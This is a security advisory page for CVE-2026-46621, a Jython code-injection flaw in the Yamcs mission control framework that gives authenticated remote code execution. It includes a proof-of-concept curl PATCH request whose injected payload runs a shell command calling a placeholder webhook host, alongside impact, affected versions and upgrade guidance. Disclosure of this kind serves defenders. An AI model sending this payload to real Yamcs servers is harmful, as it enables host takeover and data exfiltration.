CVE-2026-46621: Yamcs: Authenticated Remote Code Execution (RCE) via Jython Algorithm Code Injection

Published May 27, 2026
·
Updated

Summary A Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.

Details The vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (/api/mdb/{instance}/realtime/algorithms/{name}), the AlgorithmManager uses the ScriptAlgorithmExecutorFactory to instantiate a JSR-223 ScriptEngine (in this case, Jython/Python).

Because Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as java.lang.Runtime. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.

PoC

Prerequisites: 1. A running Yamcs instance with the Jython engine available in its classpath (e.g., jython-standalone dependency included). 2. An active authentication token for a user with the SystemPrivilege.ChangeMissionDatabase privilege. 3. An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to python (e.g., a custom poc algorithm). Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.

Exploitation Steps:

1. Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages java.lang.Runtime to execute an OS command (e.g., triggering an external webhook or a reverse shell).

bash curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <YOURAUTHTOKEN>' \ -d '{ "action": "SET", "algorithm": { "text": "import java.lang.Runtime\njava.lang.Runtime.getRuntime().exec([\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/RCE\"])\nout0.value = 1.0" } }'

(Note: Assigning a valid output like out0.value = 1.0 ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).

2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the simulator.py script to update the required parameters like Sunsensor).

3. The Yamcs server compiles the injected text into an executable script on the fly.

4. Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.

Impact It impacts any Yamcs deployment where users are granted the ChangeMissionDatabase privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.

Credits Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.

Other sources

Yamcs is a mission control framework. Prior to 5.12.7, the Yamcs script evaluation engine for Python algorithms dynamically compiled and evaluated user-controlled algorithm text using Jython through the JSR-223 ScriptEngine API without enforcing a secure sandbox, so an authenticated user with the ChangeMissionDatabase privilege could override an existing Python algorithm's logic through the mission database REST API and import and execute arbitrary Java classes such as java.lang.Runtime to achieve remote code execution on the underlying host operating system. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default.

MITRE

Affected Software

2 affected componentsFixes available
maven/org.yamcs:yamcs-core<5.12.7
5.12.7
Spaceapplications Yamcs<5.12.7

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/org.yamcs:yamcs-core to a version that resolves this vulnerability.

    Fixed in 5.12.7
  2. Upgrade

    Upgrade Yamcs to a version that resolves this vulnerability.

    Fixed in 5.12.7
  3. Upgrade

    Upgrade Yamcs to a version that resolves this vulnerability.

    Fixed in 5.13.0
  4. Configuration

    In Yamcs versions 5.12.7 and 5.13.0, ensure the fix is applied so algorithm editing is disabled by default; this prevents authenticated users from injecting/overriding Python (Jython) algorithm logic via the Mission Database REST API.

    Yamcs algorithm editing (python/Jython via MDB API) = disabled by default

Event History

May 27, 2026
Advisory Published
via GitHub·10:49 PM
Data Sourced
via GitHub·10:49 PM
DescriptionSeverityWeaknessAffected Software
Jul 16, 2026
CVE Published
via MITRE·04:07 PM
Data Sourced
via MITRE·04:07 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:16 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-46621?

CVE-2026-46621 has a severity rating of critical with a score of 9.1.

2

How do I fix CVE-2026-46621?

To fix CVE-2026-46621, ensure that the application implements secure sandboxing for the Jython execution environment to prevent code injection.

3

What type of vulnerability is CVE-2026-46621?

CVE-2026-46621 is classified as a Server-Side Code Injection vulnerability.

4

What software is affected by CVE-2026-46621?

The vulnerability affects the Yamcs script evaluation engine for Python algorithms, specifically in maven/org.yamcs:yamcs-core.

5

What are the potential impacts of CVE-2026-46621?

Exploitation of CVE-2026-46621 may lead to unauthorized code execution, data compromise, and full system control.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203